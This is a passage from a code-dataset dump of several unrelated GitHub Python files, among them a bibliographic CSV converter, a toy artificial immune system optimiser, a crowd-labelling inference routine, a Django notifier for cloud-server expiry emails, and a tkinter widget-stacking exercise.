'Source: '\n },\n \"xAxis\": {\n \"categories\":modules\n },\n \"yAxis\": {\n \"min\": 0,\n \"title\": {\n \"text\": u'FAILED NUMBER'\n }\n },\n \"tooltip\": {\n \"headerFormat\": '{point.key}',\n \"pointFormat\": '' +\n u'',\n \"footerFormat\": '
    {series.name}: {point.y} NUMBER
    ',\n \"shared\": True,\n \"useHTML\": True\n },\n \"plotOptions\": {\n \"column\": {\n \"pointPadding\": 0.2,\n \"borderWidth\": 0\n }\n },\n \"series\": [{\n \"name\":u'FAILED TESTING REGRESSION',\n \"data\": failCases,\n \"dataLabels\": {\n \"enabled\": True\n }\n }]\n }\n print(highdata)\n strhighdata=json.dumps(highdata)\n open(jsonFileName,\"w\").write(strhighdata)\n\n","repo_name":"cobbxia/jjiepanmen","sub_path":"highchartUtil.py","file_name":"highchartUtil.py","file_ext":"py","file_size_in_byte":1981,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"70490682022","text":"from __future__ import annotations\nfrom typing import TYPE_CHECKING\nif TYPE_CHECKING:\n from typing import Dict, Set\n\nimport pandas as pd\n\n# Utils\nfrom utils.authors_utils import stringify_authors\nfrom utils.id_list_utils import stringify_id_list, allowed_id_schemes\nfrom utils.utils import get_output_filepath, split_range_optional, collapse_id_list\n\n\ndef convert_bibliographic(df: pd.DataFrame, proc_index: int = 0) -> pd.DataFrame:\n \"\"\"\n This function is able to process a DataFrame of bibliographic resources, converting it\n to a format which is compliant with the 'meta' script.\n\n A unique 'tmp' identifier is automatically generated and associated to each bibliographic\n resource (each row of the DataFrame).\n\n :param df: The Dataframe to be converted containing data about cited bibliographic resource\n :param proc_index: An integer number which identifies the process that is taking care of converting the\n given DataFrame\n :return: The converted DataFrame\n \"\"\"\n # Here we handle the 'Pages' column: its meaning can be\n # very ambiguous if the entity's macro_category is not 'article'.\n # Hence, in that case we discard its content, while in case\n # of articles we try to extract from it the begin_page and the end_page\n articles_mask: pd.Series = df['label'].isin(['journal article', 'conference paper'])\n non_articles_mask: pd.Series = ~articles_mask\n df.loc[non_articles_mask, 'Pages'] = None\n df.loc[articles_mask, 'Pages'] = df.loc[articles_mask, 'Pages'].map(split_range_optional)\n\n # Column 'venue' evaluation\n df['venue'] = pd.Series(dtype='object')\n is_journal: pd.Series = df['label'].isin(['journal article', 'conference paper'])\n\n # Swap Title and Chapter: Title <--> Chapter\n book_chapters: pd.Series = df['label'] == 'book chapter'\n df.loc[book_chapters, 'venue'] = df.loc[book_chapters, 'Title']\n df.loc[book_chapters, 'Title'] = df.loc[book_chapters, 'Chapter']\n\n df.loc[is_journal, 'venue'] = df.loc[is_journal, 'Periodical']\n\n df.drop(['Chapter', 'Periodical'], axis=1)\n\n # Convert column 'type_of_citation'\n wikicode_to_ocdm_mapping: Dict[str, str] = {'journal article': 'journal article',\n 'conference paper': 'proceedings article',\n 'book': 'book',\n 'book part': 'book part',\n 'book chapter': 'book chapter'\n }\n # df['type_of_citation'] = df['label'].map(wikicode_to_ocdm_mapping)\n df['label'] = df['label'].map(wikicode_to_ocdm_mapping)\n\n df = df.rename({'pmc': 'pmcid'}, axis=1) # meta recognizes 'pmcid' instead of 'pmc'\n id_schemes: Set[str] = allowed_id_schemes.difference({'pmc'}).union({'pmcid'})\n\n # Stringify 'ID_list' column (enriched with 'tmp' identifiers)\n # and add identifiers to the 'venue' column where needed\n stringify_venue_identifiers(df)\n df['tmp'] = f\"bib_{proc_index}_\" + df.index.astype(str) # this adds a 'tmp' column\n # The following line removes identifier columns and adds a 'ID_list' column\n df = collapse_id_list(df, 'ID_list', ['tmp', *id_schemes], do_not_drop={'tmp'})\n df['id'] = df['ID_list'].map(stringify_id_list) # this adds an 'id'\n\n # Stringify 'Authors' column\n df['author'] = df['Authors'].map(stringify_authors)\n\n # Stringify 'Pages' column\n df['Pages'] = df['Pages'].str.join('-')\n\n # Add the missing column 'editor' even if we don't have data for it\n df['editor'] = None\n\n df = df.rename({'Title': 'title',\n 'Date': 'pub_date',\n 'Volume': 'volume',\n 'Issue': 'issue',\n 'Pages': 'page',\n 'PublisherName': 'publisher',\n # 'type_of_citation': 'type',\n 'label': 'type'\n }, axis=1)\n return df\n\n\ndef store_bibliographic(index: int, name_width: int, df: pd.DataFrame) -> None:\n \"\"\"\n This function is able to store the given DataFrame as a CSV file. It's used\n to produce 'meta' compliant files inside a folder whose path is configurable\n inside conf/conf.py by modifying the 'extracted_csv_dir' string.\n\n Examples:\n index = 42, name_width = 4\n The output filename will be: 0042_bibliographic.csv\n\n index = 99, name_width = 2\n The output filename will be: 99_bibliographic.csv\n\n :param index: An integer number which identifies a partition of the full dataset. It's used to give\n a recognizable name to the file\n :param name_width: How many chars should be reserved for the numeric index at the beginning of the filename\n :param df: The DataFrame to be exported as a CSV file\n \"\"\"\n output_filepath: str = get_output_filepath(index, name_width, 'bibliographic')\n df.to_csv(output_filepath, index=False, chunksize=100000,\n columns=['id', 'title', 'author', 'pub_date', 'venue',\n 'volume', 'issue', 'page', 'type', 'type_of_citation', 'publisher',\n 'editor'])\n\n\ndef stringify_venue_identifiers(df: pd.DataFrame) -> None:\n \"\"\"\n This function is able to extract identifiers that are should not be associated to the bibliographic\n resource in itself, but to its venue/container. This is done supposing that ISSNs and ISBNs associated\n to a resource internally classified as 'journal article', 'book part' or 'book chapter' should be assigned\n to their venues, rather than to them. ISBNs associated to a 'journal article' are not moved to its container\n since we cannot be sure whether that ISBN is actually referring to the article or to its container.\n\n :param df: The DataFrame to be processed\n \"\"\"\n # Converting Pandas Series to Numpy arrays enables us to iterate far quicker over their elements:\n issn_col = df['issn'].to_numpy(copy=False)\n isbn_col = df['isbn'].to_numpy(copy=False)\n venue_col = df['venue'].to_numpy(copy=False)\n label_col = df['label'].to_numpy(copy=False)\n\n df_interesting: pd.Series = df[df['label'].isin(['journal article', 'book part', 'book chapter'])]\n interesting_rows = df_interesting.index.to_numpy(copy=False)\n\n for i in interesting_rows:\n if venue_col[i] is not None and venue_col[i].strip() != '':\n venue_id_dict = {}\n if issn_col[i] is not None:\n venue_id_dict['issn'] = issn_col[i]\n issn_col[i] = None # remove the ID (otherwise it will be included in the collapsed 'ID_list' column)\n if isbn_col[i] is not None and label_col[i] != 'journal article':\n venue_id_dict['isbn'] = isbn_col[i]\n isbn_col[i] = None # remove the ID (otherwise it will be included in the collapsed 'ID_list' column)\n venue_col[i] += f\" [{stringify_id_list(venue_id_dict)}]\"\n","repo_name":"opencitations/wcw","sub_path":"Converter/scripts/process_bibliographic.py","file_name":"process_bibliographic.py","file_ext":"py","file_size_in_byte":7005,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"35"} +{"seq_id":"20240434928","text":"import random\nimport math\n\n# Define the problem function\ndef problem(x):\n return math.sin(x)/x\n\n# Define the AIS parameters\nnum_antigens = 10\nnum_antibodies = 50\nmutation_rate = 0.1\nnum_iterations = 1000\n\n# Define the AIS functions\ndef initialize_population():\n antigens = [random.uniform(0, 10) for i in range(num_antigens)]\n antibodies = [random.uniform(antigens[i]-1, antigens[i]+1) for i in range(num_antigens) for j in range(num_antibodies//num_antigens)]\n return antigens, antibodies\n\ndef calculate_affinity(antigen, antibody):\n return -abs(antibody - antigen)\n\ndef select_antibodies(antigens, antibodies):\n affinities = [[i, j, calculate_affinity(antigens[i], antibodies[j])] for i in range(num_antigens) for j in range(num_antibodies)]\n affinities = sorted(affinities, key=lambda x: x[2], reverse=True)\n selected_antibodies = [affinities[i][1] for i in range(num_antibodies)]\n return selected_antibodies\n\ndef mutate_antibodies(selected_antibodies):\n mutated_antibodies = [selected_antibodies[i] + random.gauss(0, mutation_rate * 10) for i in range(num_antibodies)]\n return mutated_antibodies\n\ndef update_population(antigens, antibodies, selected_antibodies, mutated_antibodies):\n for i in range(num_antibodies):\n for j in range(num_antigens):\n if calculate_affinity(antigens[j], mutated_antibodies[i]) > calculate_affinity(antigens[j], antibodies[i]):\n antibodies[i] = mutated_antibodies[i]\n break\n return antibodies\n\n# Run the AIS algorithm\nantigens, antibodies = initialize_population()\n\nfor iteration in range(num_iterations):\n selected_antibodies = select_antibodies(antigens, antibodies)\n mutated_antibodies = mutate_antibodies([antibodies[i] for i in selected_antibodies])\n antibodies = update_population(antigens, antibodies, selected_antibodies, mutated_antibodies)\n\nbest_antibody = max(antibodies, key=problem)\nprint(\"Best solution found: x = {}, f(x) = {}\".format(best_antibody, problem(best_antibody)))\n","repo_name":"AdewaleData/AIS-Algorithim-in-python","sub_path":"AIS in python Code.py","file_name":"AIS in python Code.py","file_ext":"py","file_size_in_byte":2018,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"19196768853","text":"from nac import BenchmarkLoader, BenchmarkRunner\nfrom nac.plotter import LogPlotter\n\ndef main():\n loader = BenchmarkLoader()\n suite = loader.discover('.')\n runner = BenchmarkRunner()\n runner.run_benchmark_suite(suite)\n\n # Plot result of benchmark\n plotter = LogPlotter('bench_log', 'Bench*.csv')\n plotter.plot()\n\nif __name__ == '__main__':\n main()\n","repo_name":"NaleRaphael/nac","sub_path":"demo/runbench.py","file_name":"runbench.py","file_ext":"py","file_size_in_byte":372,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"71517167462","text":"import torch\nfrom torch import nn\n\nfrom .utils import get_workers_of_task, get_tasks_of_worker, get_stats\n\n\ndef mf_iteration(ann, p_tasks, prior):\n softmax = nn.Softmax(dim=1)\n n_tasks, n_workers = get_stats(ann)\n\n qs = torch.FloatTensor([prior for _ in range(n_workers)]) \n\n for u in range(n_workers):\n tasks_of_worker = get_tasks_of_worker(ann, u)\n\n for t in tasks_of_worker:\n qs[u, :, ann[t, u]] += p_tasks[t]\n\n for t in range(n_tasks):\n workers_of_task = get_workers_of_task(ann, t)\n\n tmp = -qs[workers_of_task].sum(dim=2).digamma().sum(dim=0)\n for u in workers_of_task:\n tmp += qs[u, :, ann[t, u]].digamma()\n p_tasks[t] = tmp\n\n p_tasks = softmax(p_tasks)\n return p_tasks\n\n\ndef run_mf(ann, n_iters, prior, n_classes=2):\n n_tasks, _ = get_stats(ann)\n p_tasks = torch.ones(n_tasks, n_classes) * 0.5\n\n for _ in range(n_iters):\n p_tasks = mf_iteration(ann, p_tasks, prior)\n\n return p_tasks\n\n","repo_name":"ml-postech/robust-deep-learning-from-crowds-with-belief-propagation","sub_path":"models/inferences/mf.py","file_name":"mf.py","file_ext":"py","file_size_in_byte":995,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"35"} +{"seq_id":"40680399930","text":"from datetime import timedelta, datetime\n\nfrom django.utils import timezone\nfrom django.db.models import F\nfrom django.template.loader import get_template\nfrom django.conf import settings\nfrom django.core.mail import send_mail\n\nfrom servers.models import Server\nfrom users.models import Email, UserProfile\nfrom vo.models import VirtualOrganization, VoMember\nfrom utils.model import PayType\nfrom core import site_configs_manager as site_configs\nfrom . import config_logger\n\n\nclass ServerQuerier:\n def __init__(self, filter_out_notified: bool):\n \"\"\"\n filter_out_notified: True: 给定期限之后已发过通知的过滤掉不返回; False: 不考虑是否发过通知,返回所有满足指定期限的server\n \"\"\"\n if filter_out_notified is not None:\n self.is_filter_out_notified = filter_out_notified\n\n def get_expired_servers_queryset(\n self, after_days: int, creation_time_gt: datetime = None, filter_out_notified: bool = None\n ):\n \"\"\"\n 查询指定天数后即将过期的server\n\n :param after_days: 指定天数后过期, 0 当前已过期\n :param creation_time_gt: 创建时间大于此时间的server\n :param filter_out_notified: 默认None: 按 IS_FILTER_OUT_NOTIFIED\n True: 给定期限之后已发过通知的过滤掉不返回;\n False: 不考虑是否发过通知,返回所有满足指定期限的server\n \"\"\"\n nt = timezone.now()\n will_expiration_time = nt + timedelta(days=after_days)\n lookups = {}\n if creation_time_gt:\n lookups['creation_time__gt'] = creation_time_gt\n\n qs = Server.objects.select_related('user', 'vo').filter(\n expiration_time__lt=will_expiration_time, pay_type=PayType.PREPAID.value,\n **lookups\n ).order_by('creation_time')\n\n if filter_out_notified is None:\n filter_out_notified = self.is_filter_out_notified\n if filter_out_notified:\n qs = qs.exclude( # == email_lasttime (is null | < server.expiration_time)\n email_lasttime__gte=F('expiration_time')\n )\n\n return qs\n\n def get_personal_expired_server_queryset(\n self, after_days: int, creation_time_gt: datetime = None, user_id: str = None\n ):\n \"\"\"\n 查询所有用户或指定用户的指定天数后即将过期server\n\n :param after_days: 指定天数后过期\n :param creation_time_gt: 创建时间大于此时间的券\n :param user_id: 查询指定用户的;None(查所有用户)\n \"\"\"\n qs = self.get_expired_servers_queryset(\n after_days=after_days, creation_time_gt=creation_time_gt\n )\n\n lookups = {'classification': Server.Classification.PERSONAL.value}\n if user_id:\n lookups['user_id'] = user_id\n\n qs = qs.filter(**lookups)\n return qs\n\n def get_vo_expired_server_queryset(\n self, after_days: int, creation_time_gt: datetime = None, vo_ids: list = None,\n filter_out_notified: bool = None\n ):\n \"\"\"\n 查询所有vo或指定vo的指定天数后即将过期server\n\n :param after_days: 指定天数后过期\n :param creation_time_gt: 创建时间大于此时间的券\n :param vo_ids: 查询指定vo的;None(查所有vo)\n :param filter_out_notified: 默认None: 按 IS_FILTER_OUT_NOTIFIED\n True: 给定期限之后已发过通知的过滤掉不返回;\n False: 不考虑是否发过通知,返回所有满足指定期限的server\n \"\"\"\n qs = self.get_expired_servers_queryset(\n after_days=after_days, creation_time_gt=creation_time_gt,\n filter_out_notified=filter_out_notified\n )\n\n lookups = {'classification': Server.Classification.VO.value}\n if vo_ids is not None:\n if len(vo_ids) == 1:\n lookups['vo_id'] = vo_ids[0]\n else:\n lookups['vo_id__in'] = vo_ids\n\n qs = qs.filter(**lookups)\n return qs\n\n def get_expired_servers(self, after_days: int, creation_time_gt: datetime = None, limit: int = 100):\n \"\"\"\n 查询指定天数后即将过期的server\n\n :param after_days: 指定天数后过期, 0 当前已过期\n :param creation_time_gt: 创建时间大于此时间的server\n :param limit: 指定返回server数量\n \"\"\"\n qs = self.get_expired_servers_queryset(after_days=after_days, creation_time_gt=creation_time_gt)\n return qs[:limit]\n\n def get_user_expired_servers(\n self, user_id: str, after_days: int,\n creation_time_gt: datetime = None\n ):\n \"\"\"\n 查询用户的指定天数后即将过期server\n\n :param user_id:\n :param after_days: 指定天数后过期\n :param creation_time_gt: 创建时间大于此时间的券\n \"\"\"\n qs = self.get_personal_expired_server_queryset(\n after_days=after_days, creation_time_gt=creation_time_gt, user_id=user_id\n )\n\n return list(qs)\n\n def get_personal_expired_server_users(self, after_days: int) -> dict:\n \"\"\"\n 属于个人的过期的server关联的所有用户\n :return: [\n {'user_id': 'username'}\n ]\n \"\"\"\n qs = self.get_personal_expired_server_queryset(\n after_days=after_days, creation_time_gt=None, user_id=None\n )\n users = qs.values('user_id', 'user__username')\n return {u['user_id']: u['user__username'] for u in users}\n\n def get_personal_vo_expired_server_users(self, after_days: int) -> dict:\n \"\"\"\n 所有的过期的server关联的所有个人用户和vo组的用户\n :return: {'user_id': 'username'}\n \"\"\"\n qs = self.get_personal_expired_server_queryset(\n after_days=after_days, creation_time_gt=None, user_id=None\n )\n personals = qs.values('user_id', 'user__username')\n qs = self.get_vo_expired_server_queryset(after_days=after_days, vo_ids=None)\n vo_ids = qs.values_list('vo_id', flat=True)\n vo_ids = set(vo_ids)\n vo_users = VoMember.objects.filter(vo_id__in=vo_ids).values('user_id', 'user__username')\n vo_owners = VirtualOrganization.objects.filter(\n id__in=vo_ids, deleted=False).values('owner_id', 'owner__username')\n user_map = {}\n for u in personals:\n user_map[u['user_id']] = u['user__username']\n\n for u in vo_users:\n user_map[u['user_id']] = u['user__username']\n\n for u in vo_owners:\n user_map[u['owner_id']] = u['owner__username']\n\n return user_map\n\n def get_vo_expired_server_vos(self, after_days: int):\n \"\"\"\n 属于vo的过期的server关联的所有vo\n :return: [\n {'vo_id': 'xx', 'vo_name': 'xx'}\n ]\n \"\"\"\n qs = self.get_vo_expired_server_queryset(\n after_days=after_days, creation_time_gt=None\n )\n return qs.values('vo_id', 'vo__name')\n\n @staticmethod\n def get_users_of_vos(vo_ids: list):\n \"\"\"\n 指定所有vo的用户\n :return: [{user_id: username}]\n \"\"\"\n owners = VirtualOrganization.objects.select_related(\n 'owner').filter(id__in=vo_ids, deleted=False).values('owner_id', 'owner__username')\n users = VoMember.objects.select_related(\n 'user').filter(vo_id__in=vo_ids).values('user_id', 'user__username')\n\n user_dict = {}\n for u in owners:\n user_dict[u['owner_id']] = u['owner__username']\n\n for u in users:\n user_dict[u['user_id']] = u['user__username']\n\n return user_dict\n\n @staticmethod\n def set_servers_notice_time(\n server_ids: list, expire_notice_time: datetime\n ):\n r = Server.objects.filter(id__in=server_ids).update(email_lasttime=expire_notice_time)\n return r\n\n def set_vo_servers_notice_time(\n self, after_days: int, expire_notice_time: datetime\n ):\n qs = self.get_vo_expired_server_queryset(after_days=after_days, filter_out_notified=True)\n r = qs.update(email_lasttime=expire_notice_time)\n return r\n\n def is_need_expired_notice(self, server: Server, after_days: int):\n \"\"\"\n param after_days: >= 0, 几天后会到期\n \"\"\"\n nt = timezone.now()\n will_expiration_time = nt + timedelta(days=after_days)\n\n if server.expiration_time is None:\n return False\n\n # server 已过期\n if server.expiration_time <= nt:\n if self.is_filter_out_notified is False: # 不排除通知过的\n return True\n\n if server.email_lasttime is None: # 未通知过\n return True\n elif server.email_lasttime <= server.expiration_time: # 过期后未通知\n return True\n else:\n return False\n\n # server 未过期\n if server.expiration_time < will_expiration_time: # 指定天数后即将过期\n if server.email_lasttime is None: # 未通知过\n return True\n elif server.expiration_time - server.email_lasttime < timedelta(days=after_days): # 距过期after_days之内通知过\n if self.is_filter_out_notified is False: # 不排除通知过的\n return True\n\n return False\n else:\n return True\n else:\n return False\n\n\nclass ServersSorter:\n def __init__(self, servers: list, after_days: int, filter_out_notified: bool):\n \"\"\"\n param after_days: >= 0, 几天后会到期\n \"\"\"\n self.__servers = servers\n self.after_days = after_days\n self.expired_servers = self.sort_servers(\n servers, after_days=after_days, filter_out_notified=filter_out_notified)\n\n def notice_servers(self):\n return self.expired_servers\n\n def expire_server_ids(self):\n return [s.id for s in self.expired_servers]\n\n @staticmethod\n def sort_servers(servers, after_days: int, filter_out_notified: bool):\n sq = ServerQuerier(filter_out_notified=filter_out_notified)\n expire_servers = []\n for sv in servers:\n is_exp = sq.is_need_expired_notice(server=sv, after_days=after_days)\n if is_exp:\n expire_servers.append(sv)\n\n return expire_servers\n\n\nclass BaseNotifier:\n def __init__(self, filter_out_notified: bool, log_stdout: bool = False):\n self.logger = config_logger(name='server-logger', filename=\"server_notice.log\", stdout=log_stdout)\n self.querier = ServerQuerier(filter_out_notified=filter_out_notified)\n\n def do_email_notice(self, subject: str, html_message: str, username: str):\n html_message = self.html_minify(html_message)\n # 先保存邮件记录\n try:\n email = Email(\n subject=subject, receiver=username, message=html_message,\n sender=settings.EMAIL_HOST_USER,\n email_host=settings.EMAIL_HOST,\n tag=Email.Tag.RES_EXP.value, is_html=True,\n status=Email.Status.WAIT.value, status_desc='', success_time=None\n )\n email.save(force_insert=True)\n except Exception as exc:\n self.logger.warning(\n f\"User {username} servers expired email save to db failed {str(exc)}.\")\n return False\n\n try:\n ok = send_mail(\n subject=subject,\n message='',\n from_email=settings.EMAIL_HOST_USER,\n recipient_list=[username],\n html_message=html_message,\n fail_silently=False,\n )\n if ok == 0:\n raise Exception('failed')\n except Exception as exc:\n email.set_send_failed(desc=str(exc), save_db=True)\n return False\n\n try:\n email.set_send_success(desc='', save_db=True)\n except Exception as exc:\n pass\n\n return True\n\n @staticmethod\n def html_minify(_html: str):\n \"\"\"\n 去除html空行或每行前面的空格\n \"\"\"\n lines = _html.split('\\n')\n new_lines = []\n for line in lines:\n line = line.lstrip(' ')\n if line:\n new_lines.append(line)\n\n return '\\n'.join(new_lines)\n\n\nclass PersonalServersNotifier(BaseNotifier):\n def __init__(self, filter_out_notified: bool, log_stdout: bool = False):\n super().__init__(log_stdout=log_stdout, filter_out_notified=filter_out_notified)\n self.expired_template = get_template('server_expired.html')\n\n def run(self):\n self.loop_already_expired_personal()\n\n def loop_already_expired_personal(self):\n \"\"\"\n 只查询个人已经过期的云主机(不含vo组的)进行过期通知\n \"\"\"\n self.logger.warning('开始个人云主机过期通知。')\n after_days = 0\n users = self.querier.get_personal_expired_server_users(\n after_days=after_days\n )\n for user_id, username in users.items():\n try:\n self.notice_personal_expired_servers(user_id=user_id, username=username)\n except Exception as exc:\n msg = f'个人云主机过期通知错误,{str(exc)}'\n self.logger.warning(msg)\n\n self.logger.warning('结束云主机过期通知。')\n\n def get_personal_expired_servers_context(self, user_id: str, username: str, after_days: int = 0):\n servers = self.querier.get_personal_expired_server_queryset(\n after_days=after_days, user_id=user_id\n )\n if len(servers) <= 0:\n notice_servers = []\n else:\n sorter = ServersSorter(\n servers=servers, after_days=after_days, filter_out_notified=self.querier.is_filter_out_notified)\n notice_servers = sorter.notice_servers()\n\n return {\n 'username': username,\n 'user_servers': notice_servers,\n 'now_time': timezone.now()\n }\n\n def notice_personal_expired_servers(self, user_id: str, username: str):\n context = self.get_personal_expired_servers_context(user_id=user_id, username=username)\n if not context['user_servers']:\n return True\n\n server_ids = [s.id for s in context['user_servers']]\n html_message = self.expired_template.render(context, request=None)\n subject = '云服务器过期提醒'\n if site_configs.website_brand:\n subject += f'({site_configs.website_brand})'\n if self.do_email_notice(subject=subject, html_message=html_message, username=username):\n self.querier.set_servers_notice_time(server_ids=server_ids, expire_notice_time=timezone.now())\n return True\n\n return False\n\n\nclass ServerNotifier(BaseNotifier):\n def __init__(\n self, log_stdout: bool = False, is_update_server_email_time: bool = True,\n filter_out_notified: bool = True\n ):\n \"\"\"\n is_update_server_email_time: True,邮件通知成功后,更新server邮件通知时间\n filter_out_notified: True: 给定期限之后已发过通知的过滤掉; False: 不考虑是否发过通知,所有满足指定期限的server\n \"\"\"\n super().__init__(log_stdout=log_stdout, filter_out_notified=filter_out_notified)\n self.expired_template = get_template('server_expired.html')\n self.is_update_server_email_time = is_update_server_email_time\n\n def run(self, after_days: int = 0):\n \"\"\"\n after_days: 多少天后过期的云主机\n \"\"\"\n # ok_count, failed_count = self.loop_all_users(after_days=after_days)\n ok_count, failed_count = self.notice_only_need_users(after_days=after_days)\n print(f'OK email: {ok_count}, failed email: {failed_count}.')\n\n # 统一更新vo组的server邮件发送时间\n if self.is_update_server_email_time:\n self.set_vo_servers_email_lasttime(after_days=after_days, expire_notice_time=timezone.now())\n\n def notice_only_need_users(self, after_days: int):\n \"\"\"\n 通过过期的云主机获取所有需要通知的用户,再循环通知\n \"\"\"\n ok_notice_user_count = 0\n failed_notice_user_count = 0\n user_map = self.querier.get_personal_vo_expired_server_users(after_days=after_days)\n for user_id, username in user_map.items():\n try:\n print(username)\n try:\n ok = self.notice_personal_vo_expired_servers(\n user_id=user_id, username=username, after_days=after_days\n )\n except Exception as exc:\n self.logger.error(f'loop user({username}) error, {str(exc)}')\n failed_notice_user_count += 1\n continue\n\n if ok is True:\n ok_notice_user_count += 1\n elif ok is False:\n failed_notice_user_count += 1\n except Exception as exc:\n failed_notice_user_count += 1\n self.logger.error(f'error, {str(exc)}')\n\n return ok_notice_user_count, failed_notice_user_count\n\n def loop_all_users(self, after_days: int, limit: int = 100):\n \"\"\"\n 循环所有的用户,查询用户是否有过期的云主机,然后通知\n \"\"\"\n self.logger.warning('Start loop user.')\n last_joined_time = None\n ok_notice_user_count = 0\n failed_notice_user_count = 0\n while True:\n try:\n users = self.get_users(limit=limit, time_joined_gt=last_joined_time)\n if len(users) <= 0:\n break\n\n for user in users:\n print(f'{user.username}')\n try:\n ok = self.notice_personal_vo_expired_servers(\n user_id=user.id, username=user.username, after_days=after_days\n )\n except Exception as exc:\n last_joined_time = user.date_joined\n self.logger.error(f'loop user({user.username}) error, {str(exc)}')\n failed_notice_user_count += 1\n continue\n\n last_joined_time = user.date_joined\n if ok is True:\n ok_notice_user_count += 1\n elif ok is False:\n failed_notice_user_count += 1\n except Exception as exc:\n self.logger.error(f'error, {str(exc)}')\n\n self.logger.warning('End loop user.')\n return ok_notice_user_count, failed_notice_user_count\n\n @staticmethod\n def get_users(limit: int, time_joined_gt=None):\n qs = UserProfile.objects.filter(\n is_active=True\n ).order_by('date_joined')\n\n if time_joined_gt:\n qs = qs.filter(date_joined__gt=time_joined_gt)\n\n return qs[0:limit]\n\n @staticmethod\n def get_vos_of_user(user_id: str):\n \"\"\"\n :return: {\n 'vo_id': {'vo': , 'own_role': 'xxx'}\n }\n \"\"\"\n v_members = VoMember.objects.select_related('vo', 'vo__owner').filter(user_id=user_id).all() # 在别人的vo组\n vos = VirtualOrganization.objects.select_related('owner').filter(owner_id=user_id, deleted=False) # 自己的vo组\n vos_dict = {}\n for m in v_members:\n vo = m.vo\n if not vo:\n continue\n\n own_role = '管理员' if m.role == VoMember.Role.LEADER.value else '组员'\n vos_dict[vo.id] = {\n 'vo': vo,\n 'own_role': own_role\n }\n\n for vo in vos:\n vos_dict[vo.id] = {\n 'vo': vo,\n 'own_role': '组长'\n }\n\n return vos_dict\n\n def notice_personal_vo_expired_servers(self, user_id: str, username: str, after_days: int = 0):\n \"\"\"\n 用户个人和vo组的过期云主机邮件通知\n :return:\n True # ok\n False # failed\n None # 没有过期资源,不需要通知\n \"\"\"\n context = self.get_personal_vo_expired_servers_context(\n user_id=user_id, username=username, after_days=after_days)\n if not context['user_servers'] and not context['vo_servers']:\n return None\n\n user_server_ids = [s.id for s in context['user_servers']]\n html_message = self.expired_template.render(context, request=None)\n subject = '云服务器过期提醒'\n if site_configs.website_brand:\n subject += f'({site_configs.website_brand})'\n if self.do_email_notice(subject=subject, html_message=html_message, username=username):\n self.set_servers_email_lasttime(server_ids=user_server_ids, expire_notice_time=timezone.now())\n return True\n\n return False\n\n def get_personal_vo_expired_servers_context(self, user_id: str, username: str, after_days: int):\n # 个人的\n servers = self.querier.get_personal_expired_server_queryset(\n after_days=after_days, user_id=user_id\n )\n\n sorter = ServersSorter(\n servers=servers, after_days=after_days, filter_out_notified=self.querier.is_filter_out_notified)\n user_notice_servers = sorter.notice_servers()\n\n # vo的\n vo_map = self.get_vos_of_user(user_id=user_id)\n vo_ids = list(vo_map.keys())\n if vo_ids:\n vo_servers = self.querier.get_vo_expired_server_queryset(\n after_days=after_days, vo_ids=vo_ids\n )\n\n sorter = ServersSorter(\n servers=vo_servers, after_days=after_days, filter_out_notified=self.querier.is_filter_out_notified)\n vo_notice_servers = sorter.notice_servers()\n else:\n vo_notice_servers = []\n\n return {\n 'username': username,\n 'user_servers': user_notice_servers,\n 'vo_servers': vo_notice_servers,\n 'now_time': timezone.now()\n }\n\n def set_servers_email_lasttime(\n self, server_ids: list, expire_notice_time: datetime\n ):\n if not server_ids:\n return 0\n\n if self.is_update_server_email_time:\n try:\n r = self.querier.set_servers_notice_time(\n server_ids=server_ids, expire_notice_time=expire_notice_time)\n except Exception as exc:\n r = -1\n else:\n r = 0\n\n return r\n\n def set_vo_servers_email_lasttime(\n self, after_days: int, expire_notice_time: datetime\n ):\n try:\n r = self.querier.set_vo_servers_notice_time(after_days=after_days, expire_notice_time=expire_notice_time)\n except Exception as exc:\n return -1\n\n return r\n","repo_name":"GOSC-CNIC/vms","sub_path":"scripts/workers/server_notifier.py","file_name":"server_notifier.py","file_ext":"py","file_size_in_byte":23275,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"} +{"seq_id":"13711700103","text":"# Usar o arquivo main.py como base e adicionar mais uma label e mais\r\n# um botão para sobrepor os widgets\r\n\r\nimport tkinter as tk\r\nfrom tkinter import ttk\r\n\r\n# Tela\r\ntela = tk.Tk()\r\ntela.title('Sobreposição de widgets')\r\ntela.geometry('400x400')\r\n\r\n# Widgets\r\nlabel_1 = ttk.Label(\r\n master=tela,\r\n text='Label 1',\r\n background='green'\r\n)\r\nlabel_2 = ttk.Label(\r\n master=tela,\r\n text='Label 2',\r\n background='red'\r\n)\r\nlabel_3 = ttk.Label(\r\n master=tela,\r\n text='Label 3',\r\n background='blue'\r\n)\r\n\r\nbotao_1 = ttk.Button(\r\n master=tela,\r\n text='Botão Label 1',\r\n command=lambda: label_1.tkraise()\r\n)\r\nbotao_2 = ttk.Button(\r\n master=tela,\r\n text='Botão Label 2',\r\n command=lambda: label_2.tkraise()\r\n)\r\nbotao_3 = ttk.Button(\r\n master=tela,\r\n text='Botão Label 3',\r\n command=lambda: label_3.tkraise()\r\n)\r\n\r\n# Layout\r\nlabel_1.place(\r\n x=50,\r\n y=100,\r\n width=200,\r\n height=150\r\n)\r\nlabel_2.place(\r\n x=150,\r\n y=60,\r\n width=140,\r\n height=100\r\n)\r\nlabel_3.place(\r\n x=75,\r\n y=80,\r\n width=100,\r\n height=70\r\n)\r\n\r\nbotao_1.place(\r\n relx=0.6,\r\n rely=1,\r\n anchor='se'\r\n)\r\nbotao_2.place(\r\n relx=0.8,\r\n rely=1,\r\n anchor='se'\r\n)\r\nbotao_3.place(\r\n relx=1,\r\n rely=1,\r\n anchor='se'\r\n)\r\n\r\nif __name__ == '__main__':\r\n # Mostrar a tela\r\n tela.mainloop()\r\n","repo_name":"GTL98/GUIs-com-Tkinter","sub_path":"03 - Layouts/07 - Stacking widgets/exercicio_01.py","file_name":"exercicio_01.py","file_ext":"py","file_size_in_byte":1356,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"20766152473","text":"__all__ = ['citation2latex']\n\n\ndef citation2latex(s):\n \"\"\"Parse citations in Markdown cells.\n \n This looks for HTML tags having a 